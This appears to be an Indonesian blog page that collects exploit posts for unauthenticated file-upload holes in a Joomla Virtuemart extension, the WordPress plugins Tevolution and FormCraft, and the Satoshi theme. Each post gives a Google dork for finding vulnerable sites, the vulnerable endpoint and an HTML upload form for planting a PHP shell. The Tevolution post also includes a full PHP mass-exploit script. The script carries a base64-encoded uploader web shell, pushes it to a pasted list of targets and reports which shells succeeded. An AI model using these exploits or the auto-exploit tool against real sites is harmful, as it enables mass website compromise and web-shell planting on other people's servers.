Home Posts filed under CSRF
Tampilkan postingan dengan label CSRF. Tampilkan semua postingan
Tampilkan postingan dengan label CSRF. Tampilkan semua postingan

Sabtu, 28 Mei 2016

Joomla JMS Multi Images Upload for Virtuemart File Upload

Comment

#- Title: Joomla JMS Multi Images Upload for Virtuemart File Upload
#- Author: AnoaGhost
#- Date: 27/05/2016
#- Developer : JMS
#- Link Download : extensions. joomla. org/extension/jms-multi-images-upload-for-virtuemart
#- Google Dork: inurl:"/system/jms_multiupload_virtuemart/"
#- Fixed in Version : -
#- Tested on : windows
=======================================================
-- Proof Of Concept --

Description : 
Virtuemart is a good shopping component but when you have a big store, each product has so much images, time for upload images for products will be much, sometimes you feel tired because have to upload one image-saving, then upload one image – saving….
Jms Multi Images upload for Virtuemart system plugin will solve this problem
Featured of plugin:
- Browse multi images one time and upload them for product.
- Ajax upload images.
- Automatically create thumbnails for those images.

- No hack core Virtuemart.

Vulnerability : site/plugins/system/jms_multiupload_virtuemart/assets/server/php/

CSRF



<form method="POST" action="3xploi7.blogspot/plugins/system/jms_multiupload_virtuemart/assets/server/php/"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>3xploi7ed!</button>
</form>




Format Shell > php

If Succesfully  

Need Shell Path ? Click Here 

Kamis, 12 Mei 2016

Wordpress Tevolution Plugin File Upload Vulnerability

Comment


#- Title: Wordpress Tevolution Plugin File Upload Vulnerability
#- Author: unknown
#- Date: 2016
#- Developer : templatic
#- Link Download : templatic. com/wordpress-plugins/tevolution
#- Google Dork: inurl:"/plugins/Tevolution/"
#- Fixed in Version : -
#- Tested on : windows
=======================================================
-- Proof Of Concept --

Description : 
The Tevolution WordPress plugin enables advanced functionality in our themes. Some of the features it enables include custom post types, monetization options, custom fields… Cool thing about Tevolution is the fact it’s modular, meaning you can turn off the features you do not need. 

Vulnerability : site/wp-content/plugins/Tevolution/tmplconnector/monetize/templatic-custom_fields/single-upload.php

When Vulnerable :Maybe "Blank" 

-- Method --

CSRF


<form
action="http://3xploi7.blogspot.com/wp-content/plugins/Tevolution/tmplconnector/monetize/templatic-custom_fields/single-upload.php"
method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" ><br>
<input type="submit" name="submit" value="3xploi7ed !">
</form>




Tevolution Auto Exploit Coded by IndoXploit


<html>
<center>
<form method="post" enctype="multipart/form-data">
Shellname: <br><input type="text" name='filename' style='width: 500px;' height="10" value='indoxploit.php.xxxjpg' required><br>
Target: <br><textarea name="url" style="width: 500px; height: 200px;" placeholder="http://www.target.com/"></textarea><br>
<input type='submit' name='exp' value='Hajar!' style='width: 500px;'>
</form>
<?php
// IndoXploit
set_time_limit(0);
error_reporting(0);

function buffer() {
 ob_flush();
 flush();
}
function curl($url, $payload) {
 $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
    curl_setopt($ch, CURLOPT_COOKIESESSION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
 $res = curl_exec($ch);
    curl_close($ch);
 return $res;
}
$file = htmlspecialchars($_POST['filename']);
$site = explode("\r\n", $_POST['url']);
$do = $_POST['exp'];
$uploader = base64_decode("PD9waHANCmVjaG8gIkluZG9YcGxvaXQgLSBBdXRvIFhwbG9pdGVyIjsNCmVjaG8gIjxicj4iLnBocF91bmFtZSgpLiI8YnI+IjsNCmVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCcgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQo8aW5wdXQgdHlwZT0nZmlsZScgbmFtZT0naWR4Jz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWQnIHZhbHVlPSd1cGxvYWQnPg0KPC9mb3JtPiI7DQppZigkX1BPU1RbJ3VwbG9hZCddKSB7DQoJaWYoQGNvcHkoJF9GSUxFU1snaWR4J11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2lkeCddWyduYW1lJ10pKSB7DQoJZWNobyAic3Vrc2VzIjsNCgl9IGVsc2Ugew0KCWVjaG8gImdhZ2FsIjsNCgl9DQp9DQo/Pg==");
if($do) {
 $y = date("Y");
 $m = date("m");
 $idx_dir = mkdir("indoxploit_tools", 0755);
 $shell = "indoxploit_tools/".$file;
 $fopen = fopen($shell, "w");
 fwrite($fopen, $uploader);
 fclose($fopen);
 foreach($site as $url) {
  $target = $url.'/wp-content/plugins/Tevolution/tmplconnector/monetize/templatic-custom_fields/single-upload.php';
  $cek_shell = "$url/wp-content/uploads/$y/$m/$file";
  $data = array(
   "Filedata" => "@$shell"
   );
  $curl = curl($target, $data);
  if($curl) {
   $cek = file_get_contents($cek_shell);
   if(preg_match("/IndoXploit - Auto Xploiter/is", $cek)) {
    echo "<a href='$cek_shell' target='_blank'>$cek_shell</a> -> shellmu<br>";
   }
  }
 buffer();
 }
}
?>

Format Shell > php, php4, php5, php.xxxjpg, php.asp Etc.

If Succesfully  [3xploi7.php4]

Need Shell Path ? Click Here 


Sabtu, 26 Desember 2015

WordPress Plugins FromCraft File Upload

Comment


#- Title: WordPress Plugins FromCraft File Upload 
#- Author: -
#- Date: -
#- Developer : AndonDesign
#- Link Download : wordpress .org/plugins/formcraft-form-builder
#- Google Dork: inurl:"/plugins/formcraft/"
#- Fixed in Version : -
#- Tested on : win
=======================================================

-- Proof Of Concept --



Vulnerable : /wp-content/plugins/formcraft/file-upload/server/php/upload.php

When Vuln : {"files":

CSRF :
<form method=”POST” action=”http://victim. com/wp-content/plugins/formcraft/file-upload/server/php/upload.php”enctype=”multipart/form-data”><input type=”file” name=”files[]” /><button>Upload</button></form>


Shell Path : Here

Satoshi Theme - File Upload CSRF

Comment


#- Title: Satoshi Theme - File Upload CSRF
#- Author: Cyber_Taregh
#- Date: 2014-12-06
#- Developer : vooshtheme
#- Link Download : wpthemedownload .org/satoshi/
#- Google Dork: inurl:"/Themes/satoshi/"
#- Fixed in Version : -
#- Tested on : linux
======================================================


Classification

Type CSRF
OWASP Top 10 A8: Cross-Site Request Forgery (CSRF)
CWE CWE-352
Miscellaneous

Submitter Anonymous
Views 750
Verified No
WPVDB ID 7709

-- Proof Of Concept --

When vuln : -

CSRF : 


<form enctype="multipart/form-data"
action="http://target .com/wp-content/themes/satoshi/upload-file.php" method="post">
Your File: <input name="uploadfile" type="file" /><br />
<input type="submit" value="upload" />
</form>

If Succes  : Succes

Shell Path : Here
Langganan: Postingan (Atom)